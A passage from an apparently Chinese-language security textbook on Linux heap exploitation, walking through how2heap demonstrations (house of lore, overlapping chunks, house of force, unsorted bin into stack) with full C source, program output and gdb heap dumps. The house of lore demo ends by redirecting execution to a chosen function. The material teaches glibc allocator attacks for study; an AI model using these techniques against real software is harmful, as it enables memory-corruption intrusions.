+Freeing the victim chunk 0x60c00000bf80, it will be inserted in the unsorted bin
+=================================================================
+==6034==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c00000bf80 at pc 0x000000400eec bp 0x7ffd1fbc5bf0 sp 0x7ffd1fbc5be0
+READ of size 8 at 0x60c00000bf80 thread T0
+    #0 0x400eeb in main /home/firmy/how2heap/house_of_lore.c:27
+    #1 0x7febee33c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+    #2 0x400b38 in _start (/home/firmy/how2heap/a.out+0x400b38)
+
+

最后再给一个 libc-2.27 版本的:

+
#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+
+void jackpot(){ puts("Nice jump d00d"); exit(0); }
+
+int main() {
+    intptr_t *victim = malloc(0x80);
+
+    // fill the tcache
+    int *a[10];
+    int i;
+    for (i = 0; i < 7; i++) {
+        a[i] = malloc(0x80);
+    }
+    for (i = 0; i < 7; i++) {
+        free(a[i]);
+    }
+
+    memset(victim, 'A', 0x80);
+    void *p5 = malloc(0x10);
+    memset(p5, 'A', 0x10);
+    intptr_t *victim_chunk = victim - 2;
+    fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);
+
+    intptr_t* stack_buffer_1[4] = {0};
+    intptr_t* stack_buffer_2[6] = {0};
+    stack_buffer_1[0] = 0;
+    stack_buffer_1[2] = victim_chunk;
+    stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
+    stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
+    stack_buffer_2[3] = (intptr_t*)stack_buffer_1;    // 3675 bck->fd = bin;
+
+    fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
+    fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);
+
+    free((void*)victim);
+    fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim);
+    fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
+    fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
+
+    void *p2 = malloc(0x100);
+    fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2);
+    fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim);
+    fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
+    fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
+
+    victim[1] = (intptr_t)stack_buffer_1;
+    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
+
+    void *p3 = malloc(0x40);
+
+    // empty the tcache
+    for (i = 0; i < 7; i++) {
+        a[i] = malloc(0x80);
+    }
+
+    char *p4 = malloc(0x80);
+    memset(p4, 'A', 0x10);
+    fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4);
+    fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]);
+
+    intptr_t sc = (intptr_t)jackpot;
+    memcpy((p4+0xa8), &sc, 8);
+}
+$ gcc -g house_of_lore.c
+$ ./a.out
+Allocated the victim (small) chunk: 0x55674d75f260
+stack_buffer_1: 0x7ffff71fb1d0
+stack_buffer_2: 0x7ffff71fb1f0
+
+Freeing the victim chunk 0x55674d75f260, it will be inserted in the unsorted bin
+victim->fd: 0x7f1eba392b00
+victim->bk: 0x7f1eba392b00
+
+Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x55674d75f700
+The victim chunk 0x55674d75f260 will be inserted in front of the SmallBin
+victim->fd: 0x7f1eba392b80
+victim->bk: 0x7f1eba392b80
+
+Now emulating a vulnerability that can overwrite the victim->bk pointer
+This last malloc should return a chunk at the position injected in bin->bk: 0x7ffff71fb1e0
+The fd pointer of stack_buffer_2 has changed: 0x7ffff71fb1e0
+
+Nice jump d00d
+
+

overlapping_chunks

+
#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+
+int main() {
+    intptr_t *p1,*p2,*p3,*p4;
+
+    p1 = malloc(0x90 - 8);
+    p2 = malloc(0x90 - 8);
+    p3 = malloc(0x80 - 8);
+    memset(p1, 'A', 0x90 - 8);
+    memset(p2, 'A', 0x90 - 8);
+    memset(p3, 'A', 0x80 - 8);
+    fprintf(stderr, "Now we allocate 3 chunks on the heap\n");
+    fprintf(stderr, "p1=%p\np2=%p\np3=%p\n\n", p1, p2, p3);
+
+    free(p2);
+    fprintf(stderr, "Freeing the chunk p2\n");
+
+    int evil_chunk_size = 0x111;
+    int evil_region_size = 0x110 - 8;
+    *(p2-1) = evil_chunk_size; // Overwriting the "size" field of chunk p2
+    fprintf(stderr, "Emulating an overflow that can overwrite the size of the chunk p2.\n\n");
+
+    p4 = malloc(evil_region_size);
+    fprintf(stderr, "p4: %p ~ %p\n", p4, p4+evil_region_size);
+    fprintf(stderr, "p3: %p ~ %p\n", p3, p3+0x80);
+
+    fprintf(stderr, "\nIf we memset(p4, 'B', 0xd0), we have:\n");
+    memset(p4, 'B', 0xd0);
+    fprintf(stderr, "p4 = %s\n", (char *)p4);
+    fprintf(stderr, "p3 = %s\n", (char *)p3);
+
+    fprintf(stderr, "\nIf we memset(p3, 'C', 0x50), we have:\n");
+    memset(p3, 'C', 0x50);
+    fprintf(stderr, "p4 = %s\n", (char *)p4);
+    fprintf(stderr, "p3 = %s\n", (char *)p3);
+}
+$ gcc -g overlapping_chunks.c
+$ ./a.out
+Now we allocate 3 chunks on the heap
+p1=0x1e2b010
+p2=0x1e2b0a0
+p3=0x1e2b130
+
+Freeing the chunk p2
+Emulating an overflow that can overwrite the size of the chunk p2.
+
+p4: 0x1e2b0a0 ~ 0x1e2b8e0
+p3: 0x1e2b130 ~ 0x1e2b530
+
+If we memset(p4, 'B', 0xd0), we have:
+p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
+p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
+
+If we memset(p3, 'C', 0x50), we have:
+p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
+p3 = CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
+
+

这个比较简单,就是堆块重叠的问题。通过一个溢出漏洞,改写 unsorted bin 中空闲堆块的 size,改变下一次 malloc 可以返回的堆块大小。

+

首先分配三个堆块,然后释放掉中间的一个:

+
gef➤  x/60gx 0x602010-0x10
+0x602000:    0x0000000000000000    0x0000000000000091  <-- chunk 1
+0x602010:    0x4141414141414141    0x4141414141414141
+0x602020:    0x4141414141414141    0x4141414141414141
+0x602030:    0x4141414141414141    0x4141414141414141
+0x602040:    0x4141414141414141    0x4141414141414141
+0x602050:    0x4141414141414141    0x4141414141414141
+0x602060:    0x4141414141414141    0x4141414141414141
+0x602070:    0x4141414141414141    0x4141414141414141
+0x602080:    0x4141414141414141    0x4141414141414141
+0x602090:    0x4141414141414141    0x0000000000000091  <-- chunk 2 [be freed]
+0x6020a0:    0x00007ffff7dd1b78    0x00007ffff7dd1b78
+0x6020b0:    0x4141414141414141    0x4141414141414141
+0x6020c0:    0x4141414141414141    0x4141414141414141
+0x6020d0:    0x4141414141414141    0x4141414141414141
+0x6020e0:    0x4141414141414141    0x4141414141414141
+0x6020f0:    0x4141414141414141    0x4141414141414141
+0x602100:    0x4141414141414141    0x4141414141414141
+0x602110:    0x4141414141414141    0x4141414141414141
+0x602120:    0x0000000000000090    0x0000000000000080  <-- chunk 3
+0x602130:    0x4141414141414141    0x4141414141414141
+0x602140:    0x4141414141414141    0x4141414141414141
+0x602150:    0x4141414141414141    0x4141414141414141
+0x602160:    0x4141414141414141    0x4141414141414141
+0x602170:    0x4141414141414141    0x4141414141414141
+0x602180:    0x4141414141414141    0x4141414141414141
+0x602190:    0x4141414141414141    0x4141414141414141
+0x6021a0:    0x4141414141414141    0x0000000000020e61  <-- top chunk
+0x6021b0:    0x0000000000000000    0x0000000000000000
+0x6021c0:    0x0000000000000000    0x0000000000000000
+0x6021d0:    0x0000000000000000    0x0000000000000000
+gef➤  heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
+ →   Chunk(addr=0x6020a0, size=0x90, flags=PREV_INUSE)
+
+

chunk 2 被放到了 unsorted bin 中,其 size 值为 0x90。

+

接下来,假设我们有一个溢出漏洞,可以改写 chunk 2 的 size 值,比如这里我们将其改为 0x111,也就是原本 chunk 2 和 chunk 3 的大小相加,最后一位是 1 表示 chunk 1 是在使用的,其实有没有都无所谓。

+
gef➤  heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
+ →   Chunk(addr=0x6020a0, size=0x110, flags=PREV_INUSE)
+
+

这时 unsorted bin 中的数据也更改了。

+

接下来 malloc 一个大小的等于 chunk 2 和 chunk 3 之和的 chunk 4,这会将 chunk 2 和 chunk 3 都包含进来:

+
gef➤  x/60gx 0x602010-0x10
+0x602000:    0x0000000000000000    0x0000000000000091  <-- chunk 1
+0x602010:    0x4141414141414141    0x4141414141414141
+0x602020:    0x4141414141414141    0x4141414141414141
+0x602030:    0x4141414141414141    0x4141414141414141
+0x602040:    0x4141414141414141    0x4141414141414141
+0x602050:    0x4141414141414141    0x4141414141414141
+0x602060:    0x4141414141414141    0x4141414141414141
+0x602070:    0x4141414141414141    0x4141414141414141
+0x602080:    0x4141414141414141    0x4141414141414141
+0x602090:    0x4141414141414141    0x0000000000000111  <-- chunk 4
+0x6020a0:    0x00007ffff7dd1b78    0x00007ffff7dd1b78
+0x6020b0:    0x4141414141414141    0x4141414141414141
+0x6020c0:    0x4141414141414141    0x4141414141414141
+0x6020d0:    0x4141414141414141    0x4141414141414141
+0x6020e0:    0x4141414141414141    0x4141414141414141
+0x6020f0:    0x4141414141414141    0x4141414141414141
+0x602100:    0x4141414141414141    0x4141414141414141
+0x602110:    0x4141414141414141    0x4141414141414141
+0x602120:    0x0000000000000090    0x0000000000000080  <-- chunk 3
+0x602130:    0x4141414141414141    0x4141414141414141
+0x602140:    0x4141414141414141    0x4141414141414141
+0x602150:    0x4141414141414141    0x4141414141414141
+0x602160:    0x4141414141414141    0x4141414141414141
+0x602170:    0x4141414141414141    0x4141414141414141
+0x602180:    0x4141414141414141    0x4141414141414141
+0x602190:    0x4141414141414141    0x4141414141414141
+0x6021a0:    0x4141414141414141    0x0000000000020e61  <-- top chunk
+0x6021b0:    0x0000000000000000    0x0000000000000000
+0x6021c0:    0x0000000000000000    0x0000000000000000
+0x6021d0:    0x0000000000000000    0x0000000000000000
+
+

这样,相当于 chunk 4 和 chunk 3 就重叠了,两个 chunk 可以互相修改对方的数据。就像上面的运行结果打印出来的那样。

+

overlapping_chunks_2

+
#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+#include <malloc.h>
+
+int main() {
+    intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
+    unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
+    int prev_in_use = 0x1;
+
+    p1 = malloc(0x10);
+    p2 = malloc(0x80);
+    p3 = malloc(0x80);
+    p4 = malloc(0x80);
+    p5 = malloc(0x10);
+    real_size_p1 = malloc_usable_size(p1);
+    real_size_p2 = malloc_usable_size(p2);
+    real_size_p3 = malloc_usable_size(p3);
+    real_size_p4 = malloc_usable_size(p4);
+    real_size_p5 = malloc_usable_size(p5);
+    memset(p1, 'A', real_size_p1);
+    memset(p2, 'A', real_size_p2);
+    memset(p3, 'A', real_size_p3);
+    memset(p4, 'A', real_size_p4);
+    memset(p5, 'A', real_size_p5);
+    fprintf(stderr, "Now we allocate 5 chunks on the heap\n\n");
+    fprintf(stderr, "chunk p1: %p ~ %p\n", p1, (unsigned char *)p1+malloc_usable_size(p1));
+    fprintf(stderr, "chunk p2: %p ~ %p\n", p2, (unsigned char *)p2+malloc_usable_size(p2));
+    fprintf(stderr, "chunk p3: %p ~ %p\n", p3, (unsigned char *)p3+malloc_usable_size(p3));
+    fprintf(stderr, "chunk p4: %p ~ %p\n", p4, (unsigned char *)p4+malloc_usable_size(p4));
+    fprintf(stderr, "chunk p5: %p ~ %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));
+
+    free(p4);
+    fprintf(stderr, "\nLet's free the chunk p4\n\n");
+
+    fprintf(stderr, "Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\n\n");
+    *(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE
+
+    free(p2);
+
+    p6 = malloc(0x1b0 - 0x10);
+    real_size_p6 = malloc_usable_size(p6);
+    fprintf(stderr, "Allocating a new chunk 6: %p ~ %p\n\n", p6, (unsigned char *)p6+real_size_p6);
+
+    fprintf(stderr, "Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)\n");
+    fprintf(stderr, "p3 before = %s\n", (char *)p3);
+    memset(p6, 'B', 0xd0);
+    fprintf(stderr, "p3 after  = %s\n", (char *)p3);
+}
+$ gcc -g overlapping_chunks_2.c
+$ ./a.out
+Now we allocate 5 chunks on the heap
+
+chunk p1: 0x18c2010 ~ 0x18c2028
+chunk p2: 0x18c2030 ~ 0x18c20b8
+chunk p3: 0x18c20c0 ~ 0x18c2148
+chunk p4: 0x18c2150 ~ 0x18c21d8
+chunk p5: 0x18c21e0 ~ 0x18c21f8
+
+Let's free the chunk p4
+
+Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)
+
+Allocating a new chunk 6: 0x18c2030 ~ 0x18c21d8
+
+Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)
+p3 before = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
+p3 after  = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
+
+

同样是堆块重叠的问题,前面那个是在 chunk 已经被 free,加入到了 unsorted bin 之后,再修改其 size 值,然后 malloc 一个不一样的 chunk 出来,而这里是在 free 之前修改 size 值,使 free 错误地修改了下一个 chunk 的 prev_size 值,导致中间的 chunk 强行合并。另外前面那个重叠是相邻堆块之间的,而这里是不相邻堆块之间的。

+

我们需要五个堆块,假设第 chunk 1 存在溢出,可以改写第二个 chunk 2 的数据,chunk 5 的作用是防止释放 chunk 4 后被合并进 top chunk。所以我们要重叠的区域是 chunk 2 到 chunk 4。首先将 chunk 4 释放掉,注意看 chunk 5 的 prev_size 值:

+
gef➤  x/70gx 0x602010-0x10
+0x602000:    0x0000000000000000    0x0000000000000021  <-- chunk 1
+0x602010:    0x4141414141414141    0x4141414141414141
+0x602020:    0x4141414141414141    0x0000000000000091  <-- chunk 2
+0x602030:    0x4141414141414141    0x4141414141414141
+0x602040:    0x4141414141414141    0x4141414141414141
+0x602050:    0x4141414141414141    0x4141414141414141
+0x602060:    0x4141414141414141    0x4141414141414141
+0x602070:    0x4141414141414141    0x4141414141414141
+0x602080:    0x4141414141414141    0x4141414141414141
+0x602090:    0x4141414141414141    0x4141414141414141
+0x6020a0:    0x4141414141414141    0x4141414141414141
+0x6020b0:    0x4141414141414141    0x0000000000000091  <-- chunk 3
+0x6020c0:    0x4141414141414141    0x4141414141414141
+0x6020d0:    0x4141414141414141    0x4141414141414141
+0x6020e0:    0x4141414141414141    0x4141414141414141
+0x6020f0:    0x4141414141414141    0x4141414141414141
+0x602100:    0x4141414141414141    0x4141414141414141
+0x602110:    0x4141414141414141    0x4141414141414141
+0x602120:    0x4141414141414141    0x4141414141414141
+0x602130:    0x4141414141414141    0x4141414141414141
+0x602140:    0x4141414141414141    0x0000000000000091  <-- chunk 4 [be freed]
+0x602150:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      <-- fd, bk pointer
+0x602160:    0x4141414141414141    0x4141414141414141
+0x602170:    0x4141414141414141    0x4141414141414141
+0x602180:    0x4141414141414141    0x4141414141414141
+0x602190:    0x4141414141414141    0x4141414141414141
+0x6021a0:    0x4141414141414141    0x4141414141414141
+0x6021b0:    0x4141414141414141    0x4141414141414141
+0x6021c0:    0x4141414141414141    0x4141414141414141
+0x6021d0:    0x0000000000000090    0x0000000000000020  <-- chunk 5 <-- prev_size
+0x6021e0:    0x4141414141414141    0x4141414141414141
+0x6021f0:    0x4141414141414141    0x0000000000020e11  <-- top chunk
+0x602200:    0x0000000000000000    0x0000000000000000
+0x602210:    0x0000000000000000    0x0000000000000000
+0x602220:    0x0000000000000000    0x0000000000000000
+gef➤  heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x602140, bk=0x602140
+ →   Chunk(addr=0x602150, size=0x90, flags=PREV_INUSE)
+
+

free chunk 4 被放入 unsorted bin,大小为 0x90。

+

接下来是最关键的一步,利用 chunk 1 的溢出漏洞,将 chunk 2 的 size 值修改为 chunk 2 和 chunk 3 的大小之和,即 0x90+0x90+0x1=0x121,最后的 1 是标志位。这样当我们释放 chunk 2 的时候,malloc 根据这个被修改的 size 值,会以为 chunk 2 加上 chunk 3 的区域都是要释放的,然后就错误地修改了 chunk 5 的 prev_size。接着,它发现紧邻的一块 chunk 4 也是 free 状态,就把它俩合并在了一起,组成一个大 free chunk,放进 unsorted bin 中。

+
gef➤  x/70gx 0x602010-0x10
+0x602000:    0x0000000000000000    0x0000000000000021  <-- chunk 1
+0x602010:    0x4141414141414141    0x4141414141414141
+0x602020:    0x4141414141414141    0x00000000000001b1  <-- chunk 2 [be freed] <-- unsorted bin
+0x602030:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      <-- fd, bk pointer
+0x602040:    0x4141414141414141    0x4141414141414141
+0x602050:    0x4141414141414141    0x4141414141414141
+0x602060:    0x4141414141414141    0x4141414141414141
+0x602070:    0x4141414141414141    0x4141414141414141
+0x602080:    0x4141414141414141    0x4141414141414141
+0x602090:    0x4141414141414141    0x4141414141414141
+0x6020a0:    0x4141414141414141    0x4141414141414141
+0x6020b0:    0x4141414141414141    0x0000000000000091  <-- chunk 3
+0x6020c0:    0x4141414141414141    0x4141414141414141
+0x6020d0:    0x4141414141414141    0x4141414141414141
+0x6020e0:    0x4141414141414141    0x4141414141414141
+0x6020f0:    0x4141414141414141    0x4141414141414141
+0x602100:    0x4141414141414141    0x4141414141414141
+0x602110:    0x4141414141414141    0x4141414141414141
+0x602120:    0x4141414141414141    0x4141414141414141
+0x602130:    0x4141414141414141    0x4141414141414141
+0x602140:    0x4141414141414141    0x0000000000000091  <-- chunk 4 [be freed]
+0x602150:    0x00007ffff7dd1b78    0x00007ffff7dd1b78
+0x602160:    0x4141414141414141    0x4141414141414141
+0x602170:    0x4141414141414141    0x4141414141414141
+0x602180:    0x4141414141414141    0x4141414141414141
+0x602190:    0x4141414141414141    0x4141414141414141
+0x6021a0:    0x4141414141414141    0x4141414141414141
+0x6021b0:    0x4141414141414141    0x4141414141414141
+0x6021c0:    0x4141414141414141    0x4141414141414141
+0x6021d0:    0x00000000000001b0    0x0000000000000020  <-- chunk 5 <-- prev_size
+0x6021e0:    0x4141414141414141    0x4141414141414141
+0x6021f0:    0x4141414141414141    0x0000000000020e11  <-- top chunk
+0x602200:    0x0000000000000000    0x0000000000000000
+0x602210:    0x0000000000000000    0x0000000000000000
+0x602220:    0x0000000000000000    0x0000000000000000
+gef➤  heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x602020, bk=0x602020
+ →   Chunk(addr=0x602030, size=0x1b0, flags=PREV_INUSE)
+
+

现在 unsorted bin 里的 chunk 的大小为 0x1b0,即 0x90*3。咦,所以 chunk 3 虽然是使用状态,但也被强行算在了 free chunk 的空间里了。

+

最后,如果我们分配一块大小为 0x1b0-0x10 的大空间,返回的堆块即是包括了 chunk 2 + chunk 3 + chunk 4 的大 chunk。这时 chunk 6 和 chunk 3 就重叠了,结果就像上面运行时打印出来的一样。

+

3.1.8 Linux 堆利用(下)

+ +

下载文件

+

how2heap

+

house_of_force

+
#include <stdio.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+#include <malloc.h>
+
+char bss_var[] = "This is a string that we want to overwrite.";
+
+int main() {
+    fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var);
+
+    intptr_t *p1 = malloc(0x10);
+    int real_size = malloc_usable_size(p1);
+    memset(p1, 'A', real_size);
+    fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1);
+    fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size);
+
+    intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
+    fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n");
+    fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
+    ptr_top[0] = -1;
+    fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
+
+    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
+    fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
+    void *new_ptr = malloc(evil_size);
+    int real_size_new = malloc_usable_size(new_ptr);
+    memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20);
+    fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr);
+
+    void* ctr_chunk = malloc(0x30);
+    fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk);
+    fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n");
+
+    fprintf(stderr, "old string: %s\n", bss_var);
+    strcpy(ctr_chunk, "YEAH!!!");
+    fprintf(stderr, "new string: %s\n", bss_var);
+}
+$ gcc -g house_of_force.c
+$ ./a.out
+We will overwrite a variable at 0x601080
+
+Let's allocate the first chunk of 0x10 bytes: 0x824010.
+Real size of our allocated chunk is 0x18.
+
+Overwriting the top chunk size with a big value so the malloc will never call mmap.
+Old size of top chunk: 0x20fe1
+New size of top chunk: 0xffffffffffffffff
+
+The value we want to write to at 0x601080, and the top chunk is at 0x824028, so accounting for the header size, we will malloc 0xffffffffffddd048 bytes.
+As expected, the new pointer is at the same place as the old top chunk: 0x824030
+malloc(0x30) => 0x601080!
+
+Now, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.
+old string: This is a string that we want to overwrite.
+new string: YEAH!!!
+
+

house_of_force 是一种通过改写 top chunk 的 size 字段来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处,必然存在一块空闲的 chunk,即 top chunk,当 bins 和 fast bins 都不能满足分配需要的时候,malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。这种攻击假设有一个溢出漏洞,可以改写 top chunk 的头部,然后将其改为一个非常大的值,以确保所有的 malloc 将使用 top chunk 分配,而不会调用 mmap。这时如果攻击者 malloc 一个很大的数目(负有符号整数),top chunk 的位置加上这个大数,造成整数溢出,结果是 top chunk 能够被转移到堆之前的内存地址(如程序的 .bss 段、.data 段、GOT 表等),下次再执行 malloc 时,攻击者就能够控制转移之后地址处的内存。

+

首先随意分配一个 chunk,此时内存里存在两个 chunk,即 chunk 1 和 top chunk:

+
gef➤  x/8gx 0x602010-0x10
+0x602000:    0x0000000000000000    0x0000000000000021  <-- chunk 1
+0x602010:    0x4141414141414141    0x4141414141414141
+0x602020:    0x4141414141414141    0x0000000000020fe1  <-- top chunk
+0x602030:    0x0000000000000000    0x0000000000000000
+
+

chunk 1 真实可用的内存有 0x18 字节。

+

假设 chunk 1 存在溢出,利用该漏洞我们现在将 top chunk 的 size 值改为一个非常大的数:

+
gef➤  x/8gx 0x602010-0x10
+0x602000:    0x0000000000000000    0x0000000000000021  <-- chunk 1
+0x602010:    0x4141414141414141    0x4141414141414141
+0x602020:    0x4141414141414141    0xffffffffffffffff  <-- modified top chunk
+0x602030:    0x0000000000000000    0x0000000000000000
+
+

改写之后的 size==0xffffffff。

+

现在我们可以 malloc 一个任意大小的内存而不用调用 mmap 了。接下来 malloc 一个 chunk,使得该 chunk 刚好分配到我们想要控制的那块区域为止,这样在下一次 malloc 时,就可以返回到我们想要控制的区域了。计算方法是用目标地址减去 top chunk 地址,再减去 chunk 头的大小。

+
gef➤  x/8gx 0x602010-0x10
+0x602000:    0x0000000000000000    0x0000000000000021
+0x602010:    0x4141414141414141    0x4141414141414141
+0x602020:    0x4141414141414141    0xfffffffffffff051
+0x602030:    0x0000000000000000    0x0000000000000000
+gef➤  x/12gx 0x602010+0xfffffffffffff050
+0x601060:    0x4141414141414141    0x4141414141414141
+0x601070:    0x4141414141414141    0x0000000000000fa9  <-- top chunk
+0x601080 <bss_var>:    0x2073692073696854    0x676e697274732061  <-- target
+0x601090 <bss_var+16>:    0x6577207461687420    0x6f7420746e617720
+0x6010a0 <bss_var+32>:    0x6972777265766f20    0x00000000002e6574
+0x6010b0:    0x0000000000000000    0x0000000000000000
+
+

再次 malloc,将目标地址包含进来即可,现在我们就成功控制了目标内存:

+
gef➤  x/12gx 0x602010+0xfffffffffffff050
+0x601060:    0x4141414141414141    0x4141414141414141
+0x601070:    0x4141414141414141    0x0000000000000041  <-- chunk 2
+0x601080 <bss_var>:    0x2073692073696854    0x676e697274732061  <-- target
+0x601090 <bss_var+16>:    0x6577207461687420    0x6f7420746e617720
+0x6010a0 <bss_var+32>:    0x6972777265766f20    0x00000000002e6574
+0x6010b0:    0x0000000000000000    0x0000000000000f69  <-- top chunk
+
+

该技术的缺点是会受到 ASLR 的影响,因为如果攻击者需要修改指定位置的内存,他首先需要知道当前 top chunk 的位置以构造合适的 malloc 大小来转移 top chunk。而 ASLR 将使堆内存地址随机,所以该技术还需同时配合使用信息泄漏以达成攻击。

+

unsorted_bin_into_stack

+
#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+    unsigned long stack_buf[4] = {0};
+
+    unsigned long *victim  = malloc(0x80);
+    unsigned long *p1 = malloc(0x10);
+    fprintf(stderr, "Allocating the victim chunk at %p\n", victim);
+
+    // deal with tcache
+    // int *k[10], i;
+    // for (i = 0; i < 7; i++) {
+    //     k[i] = malloc(0x80);
+    // }
+    // for (i = 0; i < 7; i++) {
+    //     free(k[i]);
+    // }
+
+    free(victim);
+    fprintf(stderr, "Freeing the chunk, it will be inserted in the unsorted bin\n\n");
+
+    stack_buf[1] = 0x100 + 0x10;
+    stack_buf[3] = (unsigned long)stack_buf;        // or any other writable address
+    fprintf(stderr, "Create a fake chunk on the stack\n");
+    fprintf(stderr, "fake->size: %p\n", (void *)stack_buf[1]);
+    fprintf(stderr, "fake->bk: %p\n\n", (void *)stack_buf[3]);
+
+    victim[1] = (unsigned long)stack_buf;
+    fprintf(stderr, "Now we overwrite the victim->bk pointer to stack: %p\n\n", stack_buf);
+
+    fprintf(stderr, "Malloc a chunk which size is 0x110 will return the region of our fake chunk: %p\n", &stack_buf[2]);
+
+    unsigned long *fake = malloc(0x100);
+    fprintf(stderr, "malloc(0x100): %p\n", fake);
+}
+$ gcc -g unsorted_bin_into_stack.c
+$ ./a.out
+Allocating the victim chunk at 0x17a1010
+Freeing the chunk, it will be inserted in the unsorted bin
+
+Create a fake chunk on the stack
+fake->size: 0x110
+fake->bk: 0x7fffcd906480
+
+Now we overwrite the victim->bk pointer to stack: 0x7fffcd906480
+
+Malloc a chunk which size is 0x110 will return the region of our fake chunk: 0x7fffcd906490
+malloc(0x100): 0x7fffcd906490
+
+

unsorted-bin-into-stack 通过改写 unsorted bin 里 chunk 的 bk 指针到任意地址,从而在栈上 malloc 出 chunk。

+

首先将一个 chunk 放入 unsorted bin,并且在栈上伪造一个 chunk:

+
gdb-peda$ x/6gx victim - 2
+0x602000:    0x0000000000000000    0x0000000000000091  <-- victim chunk
+0x602010:    0x00007ffff7dd1b78    0x00007ffff7dd1b78
+0x602020:    0x0000000000000000    0x0000000000000000
